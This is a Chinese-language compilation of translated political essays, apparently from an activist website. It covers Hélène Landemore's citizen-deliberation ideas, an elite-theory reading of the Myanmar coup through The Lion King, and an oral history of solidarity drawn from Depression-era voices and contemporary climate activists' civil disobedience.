“使用我的审议概念，坐在那些桌子旁，听到对话，这真的很令人感动”，她告诉我，“这听起来会很老套，但在这些会议的间隙中，有爱的表达。” 她很重视斯坦福大学传播学教授 James S. Fishkin 进行的审议民调，他将数百名市民随机召集在一起讨论一个问题，并比较他们在这个讨论过程前后的意见。结果往往是意见趋于一致，而不是人们所想象的那种两极分化。

Landemore 的大多数批评者并不认同她的乐观态度。“在我看来，为数不多的对公民审议和审议大会的仔细实证评估一般都是令人沮丧的，而且越是仔细研究其证据，就越是令人沮丧”，普林斯顿大学教授 Achen 说。她的许多盟友，也对随遇而安持谨慎态度，因为公民可能没有做好准备。

Guerrero 认为，人民执政必须与制度发展同时发生：与教育、专家咨

询等同时发生。“对我来说，让普通公民进行政治决策的一个重要部分是想办法创建能够实现这一目标的机构”，他告诉我，“我担心的是，在人们还没有学到很多东西的话题上，广泛的公民投入。”

Landemore 认为自己是约翰·杜威的追随者，杜威是美国最全面的民主文化理论家之一，然而她对政府结构更为重视、范围更窄，杜威认为良好的民主习惯更广泛地从公民社会的更多风气中产生：我们接受教育的方式，我们工作的方式，我们彼此联系的方式。Landemore 的模式自下而上地输送领导力，但她关于社会国家内部的机构的观念，在重要的意义上，仍然是自上而下的。

她的观点是，如果政府的形式固定下来，好的民主习惯会层出不穷。当我向她询问本届总统大选中具有强烈改革意识的候选人时，她将他们的政府理想视为 “传统”。

“我在桑德斯、沃伦或其他人身上看不到这一点 —— 这还是关于他们、他们的愿景和他们的领导力。是的，他们想要小捐助者而不是大捐助者，但是 ……”，她不以为然地耸了耸肩。她对美国的开放民主模式被纳入州和地方政府抱有希望，但是，对于国家改革，她更期待欧洲国家，这些国家已经表现出了实验的兴趣，在某些情况下，还表现出了更强的公众意愿。

“令人震惊的是，美国出了这么多问题，这里却没有出现大规模的反抗。” **Landemore** 说，“在法国，有人为了需要的养老金改革而罢工。而在美国，有这样的冷漠 —— 人们甚至不相信彼此，或者自己，能去做任何事。那么，去创造一种作为公民的赋权感、可能性和自信心？这将是一个很好的开始。”

Landemore 以她所谓的美国式方式抚养两个女儿 —— 放任自流 —— 而不是以法国人的严格方式。她感到惊讶的是，她的两个女儿变得如此不同。大的那个，现在八岁，喜欢文艺，有同情心的，有细微的想法。小的那个，现在五岁，喜欢数学，有表现力，很确定自己想要的东西。Landemore 在她的写作中拥护大众治国，部分原因是它借鉴了“认知多样性”：不同的思维自然会以不同的方式工作，而让更多的多样性融入其中，可以增加解决问题的力量。她感动地发现，这种多样性在她的家里出现了。

Landemore 和她的丈夫正在把女儿们培养成掌握三种语言的人。和妈妈在一起用法语对话；和在塞尔维亚长大的爸爸在一起时说塞尔维亚语；和其他人在一起时都说英语。

半个小时里，一家人围坐在桌旁，就像他们每天晚上做的那样，轮流说出自己一天中最好的和最坏的部分，谈论自己在过去几个小时里的进步。然后，他们吃完了食物，穿上外套，再一次在夜色中走向世界。〇

Politics Without Politicians

【按】不论您对这一构想的意见如何，我们想说的是，我们很钦佩这种思考和实践的能力：基于当前的问题寻找解决方案的积极心态，正如我们曾经在一部短片的推荐中所讲述的，见《绝望的傲慢才是末日降临的真正推手》。

我们希望中国的变革支持者们能就这些具体的设想展开讨论，更好的是，构建小范围的实验；这将是最好的锻炼，公民的能力是一个充满希望的未来能否真正到来的基础。

原文

流行文化如何帮助解释缅甸的政变 - iyouport

社会反抗和思考

缅甸人民也必须警惕政府中的任何一派或新的反精英，他们只是想取代权力金字塔顶端的军政府

【注】作者：Akin Olla 是一名尼日利亚裔美国政治战略家，也是《这就是革命》播客的主持人。他还是 Momentum 的首席培训师，大众运动培训社区的成员。

迪士尼的《狮子王》提供了有关政变如何发挥作用的重要见解，以及最近缅甸政变背后的原因和机制。

在美国和其他西方国家考虑制裁针对昂山素季及其领导的民盟的军事政变领导人时，必须了解政变的根本原因和政变本身的机制。从远处看，缅甸的局势看起来很复杂，甚至有可能无法理解，但军事政变是老掉牙的故事，不幸的是，在全球每个角落都能看到。

大众文化，如电视节目、音乐和电影，可以用来理解那些原本看起来难以理解的事。流行文化也可以帮助人类更好地处理周围的世界，评估自己在社会中扮演的角色。例如，抗议缅甸政变的人们采用了三指礼，这是一种团结和抵抗的标志，借鉴了泰国的抗议运动，但它起源于青少年故事书变成好莱坞大片的系列电影 “饥饿游戏”。

迪士尼1994年的经典动画片《狮子王》深受很多儿童和成年人的喜爱。虽然人们更多时候只是把它理解为莎士比亚《哈姆雷特》式的剧作，但它对权力及其在社会中的运作有着更多的呈现。它也可能是理解政变如何运作、尤其是理解最近缅甸政变背后的原因和机制的最佳流行文化作品。在开始分析之前，我们需要简单地绕一圈，以更好地了解缅甸是如何走到这一步的。

军事统治的历史

「图」

目前的政变是缅甸自1948年从大英帝国独立以来漫长的政变和军事统治历史的一部分。昂山素季的父亲昂山领导国家经历了多年的动荡和政治操纵，这个殖民地在二战中游刃有余，只要方便就在日本和英国之间转换阵营。在成功领导国家独立后，昂山被政治对手谋杀。尽管如此，这个国家还是制定了一条走向民主的道路。新政府竭力安抚各种派别，最终在1958年被尼温将军推翻，之后尼温清除了许多在40年代独立斗争中与他共事的左翼。

在短暂恢复民主后，政府又在1962年被尼温推翻，尼温继续控制缅甸，直到1988年起义—— 大学生领导了一场由僧侣、医生、家庭主妇和儿童组成的运动，抗议一党制国家。

军方成员趁势推翻了尼温，成立了国家法律和秩序恢复委员会，后改名为国家和平与发展委员会，是一个军政府。他们于1990年举行了选举，昂山素季和她的政党—— 全国民主联盟（简称民盟）赢得了选举，但他们拒绝承认选举结果，而是将昂山素季软禁起来。

国家和平与发展委员会于2011年自行解散，并呼吁恢复民主，但其领导人仍通过新成立的联邦巩固与发展党与该国新总理登盛（一名退役上将）作为高级军官掌握着绝大部分权力。

2015年，民盟在选举中大获全胜，赢得了政府立法部门的超级多数，从而使昂山素季成为54年来该国第一位非军方领导人。昂山素季对在之前的起义中被捕的学生领袖进行了大赦，在国际上重新建立了关系，被认为是国家的进步。

尽管国际社会对她寄予厚望，但是她在制止对罗兴亚穆斯林少数民族的残酷种族灭绝方面却没有采取什么行动，而且还参与对记者的镇压。国际舆论转向她，因为她无视结束种族灭绝的呼吁，拒绝越过军方，也不承认军方的行动是种族灭绝。然而她的姑息对她的保护作用不大，2月1日，她被军方推翻。

《狮子王》和政变

「图」

“狮子王” 及其背景骄傲岩的历史，反映了缅甸的很多经历，也反映了当代历史上很多人和国家的经历，比如那些经历过1898年北卡罗来纳州威尔明顿鲜为人知的白人至上主义政变的人。

故事讲述了狮子王穆法萨和他的继承人辛巴准备接管王国的统治权。

刀疤，穆法萨更狡猾的弟弟，刺杀穆法萨，在一场不流血的政变中推翻了他的政权，使用鬣狗大军建立了完全的统治地位。刀疤的政权似乎抢走了许多动物和植物的土地，把曾经郁郁葱葱的平原变成了荒野。辛巴被流放，并在成年后才回来，被他童年时的暗恋对象娜拉（Nala）和他父亲的鬼魂推了一把，在动物王国的顶端占据了他应有的位置。辛巴带领剩下的狮子们发动暴力政变，显然得到了工人阶级动物的支持，并在一场战斗中推翻了他的叔叔。他重新确立了自己在骄傲岩的领袖地位，并与娜拉结婚，生下了自己的孩子和继承人，巩固了自己的地位。

剑桥大学前社会学教授大卫·莱恩为理解缅甸政变和 “狮子王” 提供了一个有用的框架。莱恩在2008年的研究文章 《橙色革命：‘人民革命’还是革命政变？》中，用 “精英理论” 来解释政变如何运作。精英理论认为，大多数国家，无论是民主国家还是非民主国家，都是由少数富人和政治家、军事领导人组成的集团控制的，他们通过各种机制分享和争夺权力。

每个社会都有三类精英。执政精英，也就是那些目前在政府的驾驶座上掌握着国家大部分治理权力的人；次要精英，掌握着大量的政治权力，但目前并没有实际领导政府的地位；反精英，也就是那些可能拥有经济或军事力量，或政治影响力，但没有实际治理能力或作用的人。

根据莱恩的说法，政变是指次要精英或反精英的成员，利用迅速——而且往往是暴力的行动—— 夺取权力，以自己取代统治精英。除了有深刻意识形态信念的精英外，政变策划者通常对改变国家的政治或经济体系结构没有真正的兴趣，而只是想成为新的统治者。

莱恩还详细介绍了革命政变的概念，革命政变涉及高度的大众参与 —— 这意味着在政变策划者春风得意的同时，群众运动也在街头寻求改变。

“狮子王” 至少涉及两次政变。第一场是标准的事变。刀疤，是次级精英的一员 —— 有直接参与治理的权利，但自己并不在执政席位上 —— 他决定招募鬣狗，一支反精英的军事部队，来推翻穆法萨。刀疤成为新的统治精英，鬣狗成为新的次要精英，骄傲岩的Lionesses成为反精英。

辛巴则与雌狮们和被压迫的动物公众成员，如辛巴的朋友丁满和彭彭，一起参与了另一场政变。可以说，动物群众同时参与了公民抗命，造成了骄傲之地的荒凉，而这些荒凉往往只是归咎于刀疤的管理

不善，因此辛巴的政变是一场革命政变。

了解缅甸

「图」

缅甸的政变也可以用类似的概念来理解。昂山素季及其全国民主联盟长期以来一直是缅甸国内和国际上有影响力的反精英。通过舆论压力和最终的选举，民盟被扫到了岌岌可危的执政精英位置，终于获得了真正的执政权力。军队可以说通过其政党和作为陆军、海军、空军和警察指挥官的完全自主权，变成了次要精英和反精英。

2021年的选举是民盟巩固其新的执政精英地位的一步，并引发了军方的回应，军方发动了政变，以此夺回其作为缅甸总治理机构的旧地位。另外，需要指出的是，目前执政的军方政权曾经是一个反精英，在**1988**年的政变中，推翻了尼温将军的统治精英，将一场革命偷换成了革命政变。虽然政变领导人坚称这也是一场代表人民的革命政变，但显然人民的感觉并非如此。

全国各地抗议活动此起彼伏，目的是阻止军政府的运作。数十万抗议者在街头游行，要求军政府下台。护士、医生、教师、工程师、律师，甚至一些警察都已经罢工，还有工厂工人、铁路工作人员和农民。

反政变活动人士 Thinzar Shunlei Yi 在接受半岛电视台采访时说：“近期的目标是通过停止军方所有治理机制的运作来夺取军方的权力”。他解释了他们的战略，“这将使军方的统治能力丧失殆尽。”

针对军队所属公司的抵制活动越来越多，小企业主正在销毁与军队企业集团有关的产品。2000名矿工的罢工迫使一个军方拥有的铜矿暂时停工。缅甸人民正在荒废军方的骄傲岩，军方本身的叛逃威胁，有可能加强缅甸民主反精英的生力军，或者创造出一个全新的反精英来与之竞争。

虽然昂山素季并不是西方国家长期以来所描绘的圣人，但很显然，某种文官政府将是替代公然种族灭绝的军政府的更好选择。基于1988年可以说是革命性的政变，把人民起义变成了军事接管，缅甸人民也必须警惕政府中的任何一派或新的反精英，他们只是想取代权力金字塔顶端的军政府。虽然精英理论对理解政变很有帮助，但永远不能低估民众自己动手的力量。〇

How pop culture can help explain the coup in Myanmar

原文

现在团结：当下的口述历史实验 - iyouport

社会反抗和思考

【2021年5月19日存档】“当你以这种方式和人们在一起时，当你们真正团结在一起时，生活就会改变。你不再有孤独的恐惧。”

【按】当拜登新政府宣称“团结”的时候，一些中国的异议人士很是兴奋；但不幸的是，人们可能误会了，拜登的“团结”并不是底层的旁观者们所想象的那样，伯尼的手套指出了这一点 —— 它只是再一次将人们绑在精英政治的齿轮上的工具。

反抗者也讲“团结”，就如我们在访谈中和在行动主义系列教程中所讲述的那样：我们需要真正的“自己人”，也就是说，我们需要团结，联合起来实现那些一个人无法实现的壮举。

那么，什么才是真正的团结？*我们*的团结？

这篇文章采用了活动家口述的形式，不仅用故事讲述了反抗者的团结，而且，展示了一系列反抗斗争的历史，从70年代到最近。

作者 Wen Stephenson 是一名记者、散文家、也是气候正义运动活动家，他的书是《What We’re Fighting for Now Is Each Other: Dispatches From the Front Lines of Climate Justice》。

非常美的故事，希望这篇文章能给中国的反抗者带来鼓舞。

有些时候，仿佛是通过某种神秘的炼金术过程，仅仅是墨水和印刷字体就能让一个真实的人活过来，一个人的声音似乎从纸面跃然而生，几乎可以听得见。

在这个案例中，这个声音属于一位名叫艾玛·蒂勒（Emma Tiller）的黑人妇女，她在20世纪30年代时住在西德克萨斯，为一些经济条件较好的白人做厨娘。她和她的丈夫之前是佃农，她在讲述她与其他穷人的团结。

“当流浪汉和无业游民上门讨饭的时候，南方的白人只会把他们赶走”，她回忆说。这些无家可归的人很多都是白人，他们会讨到食物，有时还能讨到钱。然而蒂勒记得，当有黑人上门时，她的白人雇主“对黑人总是以一种讨厌的方式打发”，蒂勒观察道。于是，她和其他家政人员不遗余力地帮助那些被赶走的人。

当一个黑人妇女说：“某某太太，我们厨房里有一些午餐后剩下的冷食，为什么不给他们呢？”那太太就会说：“哦，不，不要给他们，什么都不要给。否则他明天会带着一帮人回来。他应该去找份工作，去工作”…… 有时我们会匆匆走到巷子里，对那个流浪汉大喊：“嘿，先生，过来！”我们会说，“过段时间再来吧，我会把一些食物放进袋子里。”……。不管那是黑人还是白人，我们都会给他们。

蒂勒的话被记录下来并被引用，还有其他150多位经历过那些年的人的话语，被斯塔兹·特克尔（Studs Terkel）记录在他1970年关于大萧条的口述历史《艰难时期》中。在过去的一年里，我对这一时期颇有感触，因为美国人如今站在遭遇自三十年代以来从未经历过的大规模失业和社会动荡 —— 体制濒临崩溃的时代，激进主义的浪潮暴涨、绝望的人们和有恃无恐的社会运动纷纷兴起，以应对这一时刻。

关于这一时期的政治和经济史有很多，但是，它们往往忽略了生活经验的日常现实。这也许就是为什么，去年春天，当我们所熟知的生活从悬崖上跌落下来时 —— 当我们的政治和地球灾难被冠状病毒大流行覆盖时，我开始专注于在早先的十年危机中生存下来是个什么样子，人、社区和运动是如何在极端条件下团结一致或分崩离析的。

于是我拿起特克尔这本书和其他类似的文件，我想起了口述历史作为一种形式的巨大价值，尤其是在一个理论高度发达的时代：它见证了一个不可避免而又并不总是方便的事实，即：历史和政治、经济力量和群众运动，不是简单地由意识形态和人口学的抽象概念所驱动的，而是由个别的、活生生的人所驱动。

我一直在想，我在这些历史和来自另一个时代的声音中寻找的到底是什么。 没有它，很难看到前进的方向。

当然，“团结”作为一个概念是完全抽象的；怎么会有仅仅是抽象的“人类”、“民族”或“阶级”的团结这种东西呢？或者，事实上，只有与另一个人 —— 然后是再一个人、还有下一个人 —— 联合在一起才有可能？

在我作为记者和活动家的工作中，我认识了很多人，他们参与了这个

国家为生存而进行的交叉斗争 —— 反对地球毁灭和争取社会正义和经济正义。他们中的很多人都为他人牺牲了自己的身体，这似乎是一种特别的字面意义上的团结形式。

每隔一段时间，我就会遇到一些人，和他们交谈，他们的声音让我无法忘怀。如果我倾听他们的声音，真正的倾听，就像我倾听20世纪30年代的那些声音那样，会怎么样？我们现在将交错的危机下的“口述历史”与那些早期的记录放在一起听起来会是怎样的呢？活着的个人的故事和声音是否还能告诉我们一些关于团结的东西—— 这些东西只有通过倾听才能学到？

艾玛·蒂勒还记得她在小巷里时给人们送去食物和衣物的往事。“他们会坐下来聊天，给我们讲他们的苦难故事”，她告诉特克尔说，“非常重要的是，你要了解人的本性。任何人都可以到处去写一本关于一个人的书，但那本书并不总是能将给你一个真实的人 ..... “把人看成是人，这是非常重要的。”

您可以在这里下载这本书：https://www.patreon.com/posts/shi-yao-shi-tuan-47585789

没有人知道我是谁

「图」

艾萨克·彼得森（Isaac Petersen）是一位二十五岁的诗人和活动家，住在马萨诸塞州剑桥市。2019年12月7日，他在雪中走在我身边，沿着一段空旷的铁轨，穿过马萨诸塞州艾尔交界处南部的树林。

当时气温低至十几度，空气静止，太阳正穿过结冰的池塘落下。我们在侦查。在太阳再次升起之前，我们十几个人—— 一个新英格兰范围内的草根气候正义运动的一部分 —— 会站在停驶的运煤火车前的铁轨上，阻止它向北行驶到新罕布什尔州的燃煤发电厂，直到我们被当地警察逮捕。

艾萨克是白人和变性人，他的白皙脸颊和金色短发看起来非常年轻，他是支持团队的一员。

那天晚上，当我们在等待火车时，我和艾萨克沿着主街走去，在历史悠久的维多利亚式砖砌市政厅，一年一度的圣诞树点灯庆祝活动正在进行。

我们徘徊在带着孩子的家庭之间，孩子们兴奋地想见到圣诞老人。我们欣赏了老式火车的冰雕，这个小镇为自己的铁路历史感到骄傲。“这些人认为我很普通，认为我只是来看这棵圣诞树的”，艾萨克记得自己当时在想，“但实际上我是来侵入火车轨道，帮助阻挡一列运煤火车，关闭一家煤厂，以帮助缓解气候危机的人，因为人们会死于气候危机。我有这种非常明确的感觉—— 没有人真正知道我是谁。”

艾萨克在南卡罗来纳州的格林维尔长大，并在圣地亚哥州立大学读研究生。他的家人，参加了一个基督教原教旨主义教会，住在城外的拖车里，直到他十三岁。艾萨克和我在2019年12月交谈，并在2020年7月再次交谈。他的声音低沉而又带着稚气，没有明显的口音。他说：

我是先接受的家庭教育，然后去了北格林维尔大学， 这是一个浸信会大学在阿巴拉契亚山脉， 离我长大的地方大约45分钟路程。那是个非常空旷的地方，最近的加油站在5英里之外。那时我16岁，去上大学。

在我长大的整个过程中我的家庭绝对是贫穷的。我的父亲是残疾人，他有偏执型精神分裂症， 他也有一些非常严重的纤维肌痛，此外，因为他有关于妇女和性别角色的偏执想法， 他不让我的妈妈去工作。我们得到了很多家庭成员的帮助。那时候有一种很强烈的羞耻感，就是我们在经济上总是依赖别人。

我妈妈和我是非常相似的人。[笑]我们一直有非常密切的联系。而且，我不知道，我可能一直在朝着她不熟悉的方向前进，而她会尽力去理解我。在政治上，我与她交谈的第一件事是弗格森抗议，然后是立岩抗议，以及气候变化。

你是从什么时候开始有阶级意识的？

从小学后期开始，我想我变得有阶层意识了，开始对它有了情感和认识。我的父亲失去了很多工作，因为他的偏执型精神分裂症，当时就有这种感觉反映在我们的家庭里 —— 就像是，“我们像是好人家吗，我们是否足够努力工作？” 我们不得不经常向别人求助，比如，借车，因为我们家的车总是坏掉。我记得当时，大概是十岁左右，把我自己攒下的钱给了我父母，这样他们就可以租一天的车子用。在我上高中的时候，我就开始帮家里支付账单和买菜的钱。

我知道，如果钱不是问题，我生活中的很多苦难都可以很容易地得到补救。我爸爸除了有精神病，还很虐待人，但如果我妈妈能够经济独

立，那么很多事情就会不一样了。比如说，我家没有很好的医疗条件，如果我们的国家没有这么可怕的阶级鸿沟，那就会有很大的不同，在我爸爸的家庭成长过程中也会有很大的不同，也许我们根本就不会像现在这样。感觉在很多方面，这都是一个潜在的东西，如果把这条线拉开，很多东西都会改变。

【注："我们像是好人家吗" 这句话描述的是一种鄙视穷人的社会共识，这种共识认为 "贫穷是源于懒惰、不努力的人才是失败者" 的教条，事实上贫穷的存在是因为严重的不平等，穷人不论有多努力，也依旧是为富人积累财富。】

你是否认为可以实现跨越阶级分歧的团结？

我认为这不仅是可能的，而且是非常必要的。就像，在我的朋友奥利维亚的家里，孩子们都去了寄宿学校—— 我觉得这很荒谬！ [笑]说白了，我甚至不知道还有寄宿学校这种事在发生。我只知道小说里有这种事。而且她爸爸的兄弟姐妹上的都是哈佛！就像，不管怎么说，我可能会觉得这很荒唐，但是经济上的差异是巨大的，就像我的成长和奥利维亚的成长，以及我们与那些破坏这个国家、破坏人们生活的亿万富翁之间的差异。奥利维亚是我的好朋友，我们可以坐在一起笑谈寄宿学校，我爱她，我可以信任她。

奥利维亚和我是抗议活动中的战友。我们一直在波士顿参加种族正义的抗议活动，反对警察暴力的行动，还有BLM行动。这周我们去了一个声援无证移民的抗议行动，一个由 Cosecha 组织的在州议会的营地。

你是什么时候第一次参加抗议运动的？

小的时候我读了很多历史故事，我妈妈对历史非常兴奋，她给我们买了弗雷德里克·道格拉斯的自传。我对他的自传真的很投入。而下一次我们去图书馆我得到了其他多个被奴役者的第一手叙述。我想那是我最早获得强烈感受的地方之一。这个世界上总会有一些事情发生，你必须对它们做点什么，即使它们没有发生在你身上。

【注：弗雷德里克·道格拉斯，一位革命家、政治家、演说家、作家。在马里兰州从奴隶生活中逃脱后，他成为废除奴隶制度与社会改革的领袖，影响力涵盖全美，毕生争取黑人权益，是废奴运动的代表人物之一。】

然后2014年的夏天，我已经从大学搬回家了，我不知道自己在做什

么。我妈开始考虑和我爸分开。而我对自己的代理权感到很不确定，但也决心不再无助。我真的很想我的那个虐待父亲离开我的生活， 和我的妈妈和还有兄弟姐妹生活在一起是幸福的。而在同一时间，我看到了事情如何在弗格森展开， 我阅读那些文章，转发和点赞，你知道，请愿签名那样的事你完全可以做，就算你正被困在你父母的房子里，而你自己没有任何钱。

然后当我在研究生院的时候，我在圣地亚哥做了一个比较重要的劳工和移民相关的抗议行动。

你个人是如何与社会运动中的团结思想联系起来的？你对此怎么认为？

这是很难描述的。[一个很长的停顿] 你可能知道澳大利亚土著组织者有一句话，大概意思是 “如果你来这里是因为你的解放与我的解放息息相关，那就让我们一起努力吧”。我在客观上知道，在内心深处也相信，我的解放和大家的解放是捆绑在一起的，但我很难在情感上挖掘出这一点—— 很难去思考对我的影响，而不是对其他人的影响，很难把自己看作是其他人类中的一员。有时候，甚至当我在研究一个非常明确的关于我自己的跨性别权利问题时，情况也是如此。我还在努力梳理我把自己从等式中移除的倾向。因为，实际上，在我们试图建立的世界中，没有人的自我应该被削弱，而是大家一起为每个人的解放而努力。

——

Aaron Barkham 是西弗吉尼亚州的一个煤矿工人。他的父亲也是一名矿工，就死在矿上。“人们每天工作15个小时，每装满一辆4吨重的车，他们能从中得到1美元。” 他在《艰难岁月》这本书中告诉特克尔：

29岁的时候情况变得很糟糕 …… 前一天他们还在工作，第二天矿井就关闭了 …… 他们没有权利声讨。那时候大多数人都欠了公司的债，他们无法生活。有些人从29岁开始到现在一直欠着债，一直没能脱身 …… 直到现在公司还在绑架他们 ……

有一次他们不得不把一头死骡子从矿井里拖出来 “老板开除了那个害死骡子的人” ，他说，“他们告诉他一头骡子比人还值钱，他们必须为一头骡子支付50美元，但一个人可以根本不花一分钱。从此，那个人再也没有工作过一天。”

——

“我来自威斯康星州北部的一个很小的小镇”，汉克·奥廷格说，他是20世纪30年代的排字机操作员，也是劳工组织者，“我的家乡已经被木材大亨们蹂躏了，被砍伐的一塌糊涂。”

“我被灌输了错误的理念”，他告诉特克尔，“在美国，他们告诉你这里没有阶级那种东西。直到有一天我醒悟过来，逐渐加入了工会运动。”

三十年后，回想起那段时光，他怀疑年轻的工会工人们对早期那些生死攸关的斗争没有任何概念。

“在CIO组织的时期，我们曾经唱过，‘永远团结’”，他回忆道，“他妈的，我们甚至有时会唱‘国际歌’。我今天还能不能找到一个开着大别克、家在郊区的年轻印刷工，让他唱‘起来！饥饿的囚徒！……’？”

【注：“开着大别克、家在郊区”描述的是一些缺乏斗志的当代工人阶级。】

然后他想到了，“就像我1965年参加民权游行的时候，人们开始高呼‘我们要自由’，我当时在一个每周赚200美元的印刷厂工作。这听起来可能很傻，因为我也在高呼，‘我现在就要自由’。”

“我知道我要求的权利被捏在他们手里”，他说，“而且，在某种程度上，那就是我的权利。但这听起来确实很傻，我就这么说出来了。”

这是一场战斗

「图」

来自马萨诸塞州西部温德尔小镇（人口901）的五十七岁的木匠摩根·米德坐在我对面，坐在艾尔镇警察局的一间牢房里。那是2019年12月8日的早晨，我们十个战友挤满了周围的牢房。

几个小时前，我们还站在铁轨上阻挡一列开往新罕布什尔州的运煤火车。现在，我和摩根，还有两个中年白人，他穿着工作服，留着长长的不羁的灰色胡子，正在聊火车歌曲的歌词。

我们这些人前一天才认识，我们几乎聊了整整七八个小时，我们被关在一起。当我问摩根他是做什么工作的时候，他几乎是害羞地回答说，“哦，我就是挥挥锤子的”，当我问他为什么会站在运煤火车前

时，他突然声音哽咽，”因为我爱我生活的地方”，他说，“我不希望它被破坏。”

几周后，我开车去了摩根在温德尔的家，他在那里生活了二十五年。他已经离婚了，有一个十八岁的儿子，儿子仍然和他保持着亲密的关系。当我进入这所房子时，我突然被每一个可用的墙面空间上充满活力的画作所包围。它们描绘了自然界和各种生物，人类的和非人类的，神话的和现实的。风格是你可以称之为生态迷幻的那种。虽然他太过自谦，不愿提及，但他是一位天才画家。

摩根出生于康涅狄格州的斯坦福，在新迦南长大，他的家族从1640年代左右就在那里。

【注：康涅狄格州的新迦南镇 (New Canaan)，多年蝉联美国最富裕小镇头衔，小镇的居民大部分是在纽约工作的精英一族。】

他的童年并不顺利。“我和这里的主流文化充满矛盾”，他告诉我，“我惹了一堆法律上的麻烦，这是一个特别糟糕的状况，因为我父亲和祖父都是法官。” 我们在12月底那一天的交谈后，2020年7月再次交谈。他的声量很大，低沉凝重，充满了感情：

就像有人说的，我是一个有点晚了 “爱之夏”， 但对我来说 “毒品之夏” 是正确的时间。我的一个朋友要去阿默斯特大学，我来到这里和他住在一起，我就住了下来。搬到了南迪尔菲尔德，找了份做木工的工作。从那以后就一直在那里做同样的工作。终于戒了酒，清醒了，在1990年。

【注：爱之夏发生于1967年的夏天，当时有多达十万人汇聚在美国旧金山的海特-艾许伯里区附近。嬉皮士也聚集在美国、加拿大及欧洲的主要城市，旧金山是这次社会运动的中心，后来被称为 “嬉皮士革命”。】

是啊，然后我就沦陷了， 我住在我的老板的后院，在一个小木屋里，我开始寻找一个地方扎根， 不知何故就到了温德尔。

我只是爱这个小镇。这里有蓝领、服务性工作和学术性工作的奇特组合。温德尔是一个特殊的地方。它不只是另一个栖身的社区。这里的人们互相照顾。

你什么时候加入行动主义的？为什么？

我从未真正适应过美国主流社会或文化。但我也从来没有真正认为自

己是一个活动家。我会出现在一个集会里，举着一个标语牌。我记得在伊拉克战争的准备期间，我去阿默斯特，一个肩膀上扛着我的儿子，另一只手上举着“去他妈的布什”的牌子或其他什么东西。

但是，当这个伐木项目来到温德尔国家森林时， 就在那个夏天，我痛恨这些砍伐者。我一直觉得很孤立，由于各种原因， 但我真的，真的关心世界局势。我有这个复杂的混合式的愤怒，这些混蛋正在破坏我们生活的星球，我感到心痛，预想着恐怖的未来，到时候我的儿子会生活在一个什么样的世界里？我只能想到一个非常黑暗的地方。

所以我去了，并开始与那些人谈判，抗议伐木。而且，你知道，这台吞噬全世界的机器现在已经来到了我的家乡，这里有一些人要去尝试做一些事。他们真的很好。在他们中间，我从来没有真正害怕因说出想法而惹上麻烦。我对自己说，我不太清楚这场战斗的所有细节，但我很生气，我很害怕，我很伤心，这就是个机会。让我们一起去愤怒吧！让我们一起做点什么！我一个人坐在这个黑暗的角落里看着这个世界变得一团糟，我一定是瞎了眼没有注意到所有的人都在想做点什么。

温德尔国家森林联盟的两个成员，吉娅和普里西拉， 很早就被逮捕了。他们出现在一个抗议活动中， 我当时想，“我要是继续这场抗议我也会被逮捕。这将是第一次，我因为一个伟大的理想而被逮捕”。

所以，两周后，在伐木开始前，林恩、约翰和我一起去占领了一台巨大的伐木机 —— 它们是巨大的工业机器，简直就是吞噬世界的机器 —— 林恩坐在机器前面，约翰坐在后面，我爬到它下面，我们用一条链子把我们三个人都缠在机器上，所以这台机器哪儿也去不了。我们有一个约定，不损坏那台机器。我们不想和伐木工人有更多的不愉快。

我们有大约三十个人被逮捕，在那三个星期的抗议时间里。我们去了波士顿州众议院，并作证赞成H. 897， 这个法案可以防止商业性采伐破坏我们的国家森林和国家公园。我们得到了良好的支持，从我们的地方代表到参议员。但这个问题并没有消失。

我想很多人把温德尔州立森林联盟看成是一群老嬉皮士，他们对森林有这种情感上的依恋，他们担心因果报应或类似的东西—— 其实我也是一个老嬉皮士，确实对森林有一种精神上的感情—— 但当我越陷越深时，我就想，不，我们真的有科学在支持我们。一个成熟的森林可以吸收大量的碳，我们应该维护它。

是的，我很关注气候变化， 有很多方面的斗争。但我真的认为这是一场战斗。这不仅仅是对气候变化本身的斗争， 而是对燃煤的心态的斗争。 在西弗吉尼亚州炸掉一座山的顶部，把东西运到新罕布什尔州，再烧掉它，从中赚钱，让别人来收拾残局。你知道，我们正在把利润私有化，而把损失社会化。同样的心态促使那些人在温德尔砍伐树木，毁掉一个公共森林。我想这在企业界被称为外部性。我讨厌自己被成为一个外部性。而且，我不知道还有什么可说的，除了，这是一场战斗。

你参与的运动有团体感或团结感吗？

当社会运动中的人们经常谈论“社区”时，他们忽略了很多社区，如果你知道我的意思。就像煤矿工人一样。我们应该做一个更积极的呼吁。你知道，我们可以重建我们的社区， 每个人的社区，我们可以重建你的社区，基于你声称拥护的价值观。价值超越增长和金钱。

然后就是BLM。我们有一个小型的反警察暴力抗议，因为一切都在温德尔小镇发生；我不认为你是否会称它是一个抗议，我们只是作为声援BLM的行动。但有一个更大的集会，在绿地，我也去了， 那是相当令人印象深刻的。

很多人都站出来了。绝对有至少2000人在那里。我们占领了街道，在街上游行， 有一个集会就在警察局门前。十几个人非白人和我们一起，他们给我们讲述关于他们的故事，他们与绿地警察局之间的问题。这是非常鼓舞人心的 —— 看到有这么多人和你站在一起。

我坚信，这都是一场战斗。等级制度是一种心态，我很难说清楚，但就是有那么一种心态，是我们现在很多问题的根源。如果你愿意把煤渣倒进河里，你愿意跪在一个黑人的脖子上直到他死亡，就是那种心态在驱使罪恶的发生。

——

罗丝·切尔宁三十年代住在布朗克斯，帮助组织城市街区的失业委员会。多年后，她的女儿金·切尔宁在《我母亲的房子里》（1983年）一书中采访了她，讲述了那些年的经历。这段记述后来被霍华德·津恩和安东尼·阿诺夫在《美国人民历史的声音》（2004）中重印。

她讲述了房租罢工和有组织的反对驱逐的直接行动 —— 他们围绕着被驱逐家庭的家具在人行道上举行大型集会，并将家具搬回公寓。她记得警察会在楼顶架起机关枪，瞄准街上的人。“我们的斗争是成功

的”，她告诉女儿，“两年之内，我们就在布朗克斯区实行了房租管理。”

“我们围绕着我们的基本需求组织起来”，她回忆说，谈到失业委员会的早年。

我们会叫人们来，并告诉他们带着他们能带的任何东西。在委员会里总是有东西吃 …… 在那些日子里，从街上走出来，从那种绝望中走出来，你可以想象委员会对他们的影响 ……

在哈林区，饥饿的人很多，而赈济所也不能给人们提供足够的食物。我们曾经把我们能搬的东西都从委员会搬到了哈林区 ……

…… 这种人们与他们的生活条件的斗争，是能让你找到生命的意义的地方。在最糟糕的情况下，你和人们在一起。如果有五个苹果，我们就把它们切成十份，每个人都有的吃。如果有人有25美分，他就到街角买些面包带回委员会 ……

